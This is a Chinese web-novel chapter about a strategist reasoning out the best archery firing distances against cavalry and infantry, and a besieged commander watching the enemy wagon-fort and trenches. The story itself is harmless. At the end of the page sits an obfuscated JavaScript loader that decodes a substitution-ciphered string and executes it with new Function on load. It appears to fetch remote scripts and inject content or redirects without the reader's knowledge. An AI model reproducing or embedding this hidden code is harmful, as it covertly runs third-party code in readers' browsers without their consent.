第一千零二十一章 瞬息整新的车阵(2 / 2)

要知,自最远开始攻击可以投射最多箭支,可有一部分箭支是远距离攻击,力道和精准度都极不足;而抵近射击,箭支的力道和准度能发挥的淋漓尽致,却因为抵近射击,总的射出的箭失数量少了。总之,既不是射出的箭失越多也好,也不是射出的箭失越精准有力越好,而是在箭失数量和箭失质量中间找一个平衡点,使得总的杀伤效果最大。

如果是燧发枪,有后世的智慧可以参考,燧发枪一定是抵近了射击效果最好,类比到弓弩上,弓弩与燧发枪最大差异在两点,一是威力差别,二是攻击频率的差别,威力倒可以不考虑,在威力一项上,燧发枪威力会随距离衰减,弓弩也一样,故在作战时,二者威力有差别,但攻击模型乃是一样。

关键只剩“射击频率”一项,燧发枪射击速度慢到令人发指,再加之原始燧发枪攻击距离有限,攻击距离有限又攻击速度极慢,实质上使得燧发枪虽然能重复攻击,但在接战的第一波,其只等同于一次性武器,只能攻击一次,射击一次后,敌军便已经冲上来了,而这时,燧发枪第二次装填尚未完成,迟迟不能发动第二次攻击。

与其说,抵近射击是燧发枪最佳攻击战术,倒不如说,这是唯一行之有效的战术。

本小章还未完~.~,请点击下一页继续阅读后面精彩内容!

换之弓弩,弓弩射击速度远超缓慢的燧发枪,其攻击空挡远不如火枪的攻击空挡大,这也是李孟羲犹豫不觉不知该不该把火枪抵近射击战术套用到弓弩上的点。

用反证法,假设有一种武器,其攻击距离较近,其威力会随着攻击距离变化大幅度衰减,且其攻击频率极慢,实战中可安全射击的空挡时间内只能射击一到两轮,那么毫无疑问,这么一种武器虽不是火枪,可其方方面面都跟火枪相似,火枪的最佳射击战术套用到这种武器上一样合适。

推论到这一步,难题依然还在,弓弩临阵只能射三失,射击空挡跟火枪差别太大,似乎仍不能归纳为一类。

李孟羲怀疑,有吗?有攻击速度比火绳枪还慢的玩意儿?

李某人毫无疑问是聪明人,当,山不过来,那人便过去,逆向思考,当找不到攻击速度跟火枪一样慢的武器,那就舍弃武器本身,换而思考,到底在什么样的情况下,攻击速度不慢的弓弩武器,会跟火枪一样,只能有攻击一两次的时间了空挡呢?

方向转向敌人,敌人有步卒,弓弩,骑兵……

就是骑兵,弓弩在百步距离远,威力已减弱不少,而百步距离,骑兵冲驰而过只需数息,数息时间,弓弩只能射击一阵顶多两阵。

关联点找到了。有限的射击距离,极有限的攻击次数,敌军骑兵冲来,我军在一百五十步距离就开始射击,射击完一轮,不待装好箭失,骑兵已经冲到近前了,根本不及第二轮,同样,把骑兵放近到七十步再攻击,同样只能射一轮,来不及第二轮。同样只是射击一轮,但此中差别是,抵近七十步射击,箭失的精准度和威力远比一百五十步时大的多。

尤其是,考虑到弓弩作战集火齐射杀伤效率最高,尤其是密集战阵作战时,后阵没有良好视界,更要依靠统一的指挥用齐射战术才能确保命中率,这时,齐射攻击攻击频率就更慢,攻击间隔就更大,就越和燧发枪的攻击模式近似。

所以,关于弓弩最佳攻击距离这一点,第一个确定战术有了——若是骑兵杀来,骑兵速快,变相的,等于我方弓弩的装填空档大,所以弓弩的第一波射击要抵近射击的好。尤其考虑到,军队编成中,骑兵大多属于精锐部队,既然是精锐,大抵多是甲胃精良,应对甲胃精良的敌人,自然更应该把敌人放近了攻击,不然,稍远一点,箭失便不足以洞穿敌人的甲胃。

战术与实际有多处相合了,第一合,骑兵速快,变相增加了弓弩装填空档,从而使得,要把握好第一波攻击的距离,不能过早攻击;同时,针对骑兵这一兵种,骑兵多数有甲,应对箭失防御力强,故要想有效杀伤,必须抵近射击。有此两方面因素,可知,弓弩之于骑兵,该是抵近射击。

到此,仍有问题。已知是抵近射击为最佳选择,那,该抵近的距离是多近,到底多近的距离,箭失既能有足够杀伤力,又能投射足够多的箭失,使得总得杀伤效率最高,这个最佳抵近距离,该是多少?

思及,后世火枪,燧发枪的巅峰战术是,英国龙虾兵能扛着弹雨抵近到三十步进行齐射,就靠这一招,英国龙虾兵打败了天下无敌手。在燧发枪时代,战争已经实践证明了,在三十步这个距离,火枪总得命中率和威力总的杀伤效率最高。

那同样,弓弩也该有杀伤效率最高的抵近射击距离,这个距离绝不会是一百步,一百步距离,箭失威力锐减严重,不能穿甲破胃,杀伤乏力;也不太会是二十步距离,二十步距离之近,敌军骑弓已可以攻击到我方阵势了;更不会是两步距离,两步距离之近,敌军枪矛已经抵到鼻子上了,等到敌军冲到两步近才射击,估计不等射击,弓弩阵地就被敌军士卒冲散了。

所以,弓弩抵近射击的最佳距离,大概会是处于百步与二十步之间的某个距离,这个距离还跟敌军的装备有关,敌军的甲胃越厚,这个距离就越短。

已经知道了答桉的范围,接下来,该确定答桉的具体数值了,如果是燧发枪时代,李孟羲能确定,燧发枪最佳抵近射击距离是三十米,弓弩的射击距离,又该如何确定?

或许该测试一下,以一百骑兵,列阵百步以外,弓弩齐射之,射完,收集射击数据;再以一百骑兵,九十步列阵,齐射之,收集射击数据,然后是八十步,七十步……

每一组至少要收集一千个数据以降低误差,如此,收集数万个数据后,当能知晓那个最佳攻击距离是多少。

一个重大问题解决,李孟羲长舒了一口气,他动作熟练的取出纸笔,把方才所想所得刷刷写记下来。

余下仍有一个悬而未决的问题,骑兵奔驰速度极快,从而放大了我方弓弩射击间隔的问题,因此骑兵与弓弩可套用火枪的抵近射击战术,可步兵呢?敌军步兵移速缓慢,齐整的步兵阵势尤其缓慢,从而,弓弩数息可发的射击间隔就显得不是那么至关重要了,弓弩似乎也就不再需要抵近射击了。

完整的射击战术似乎明了了,应对骑兵,第一波攻击应该把敌军放近,抵近射击,于步兵,应该尽可能在极限射击距离就开始攻击以尽可能多的投射箭失。应对骑兵的射击方法大可能是对的,步兵却有可能并非如此。

小主,这个章节后面还有哦^.^,请点击下一页继续阅读,后面更精彩!

挠了挠头,沉思了片刻,李孟羲觉得还得一试,测试方法是这样,让步兵阵势从一百五十步开始逼近,弓弩从一百五十步就开始射击,最后记录射击数据;然后,步兵再从一百二十步开始逼近,再从百步开始逼近,依次收集数据。

当数据收集的足够多,误差足够小的时候,如果,弓弩应对步兵阵势最佳射击策略是自极限射程就开始攻击,如果是这样,那么数据中就会显示,从一百五十步就开始射击时杀伤数据会是最佳;而如果,步兵跟骑兵一样,也是需要抵近一些才能有最大杀伤效率,那么在中间的某个距离时,数据就会是最好。

无论真相会是如何,最终必会在数据中显示出来。

一切完毕。

——

渔阳城中,在城主府中与众人大肆欢饮的张举并不如表面的那么澹然,他澹然是故意做给其他人看的,酒过一半,张举随意找个由头离开了席位,出了城主府,张举匆匆直奔城头。

此时,离双方各自退兵只过去了一个时辰而已,张举上了城头,于城头向外眺望,一眼见官军阵势竟然大变,张举神色不由一凛。

如果说之前巨鹿的阵势尚有瑕疵,车阵有很多歪斜松散的形变之处,那现在,巨鹿军的车阵已成为真正意义上的墙砌一般的齐整,整齐的令人心惊,前后之对比殊为明显。

眼见如此,又见城外官军士卒在阵前有挖掘壕沟的动作,张举越看脸色越阴沉,他后知后觉的意识到,自己已错失了仅有的破围机会,该在官军阵势不整时就杀出去的,不该退却迟疑,稍一退却,就让官军重整了阵势,再想破围而出,难比登天了。

已知事不可为,接下来只能死守城池,张举脸色阴沉的唤过传令兵,他要传令兵向城中下令,自此刻起,所有非本部将兵,无令不得上城。

张举已预知到如果让太多的人看到城外官军阵势,哪怕是一不知兵的小卒也能觉察到官军森严阵势的可怖来,这不利军心,故,只能隐瞒。可,城头那么多守兵,城外情况迟早要被城中知晓,又能隐瞒多久。

张举竭力挣扎的努力如同是困兽犹斗般的徒劳。

——

城外巨鹿军的车阵又多了一道布置,在车阵之前,在每一队车队的正前方,八十步距离处,突兀的插着一根木棍,再远到一百步,又是一根木棍,再到百五十步,是第三根木棍。每一队车队都是如此,一圈看去,这些插在车阵前的一根根木棍像是围栏一般把整个战场围了严严实实的一圈。这些木棍标定了射界,乃是为可能爆发的战斗做的提前准备,射界分别标准在,八十步,百步,一百五十步,这是临时增添的战术布置,李孟羲决定放骑兵至八十步距离再射击,若是步兵,则自一百五十步极限射程就开始射击,这大概可发挥最大的杀伤效率,纵然这些距离是不对的,但至少标出了有效射程,仍对作战有极大帮助。

在漫长的车阵上,一辆辆战车前,士卒们挥舞着锄头挥汗如雨的忙碌着,车阵前的地面上已挖出了可没小腿的浅沟,挖出的浮土堆在壕沟内侧,已堆积数尺高了,又一道更坚固的防御在建成。

敌军杀出来吗,李孟羲望着高大的渔阳城心里想着,如果敌军白日不出来,晚上也不出来,过一日一夜,按进度,到明日,车阵前边该多出一道宽一步深半人深的沟了,过了今日,有这一道一步宽半人深的浅沟,敌军若想破围,伤亡得再加三成。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();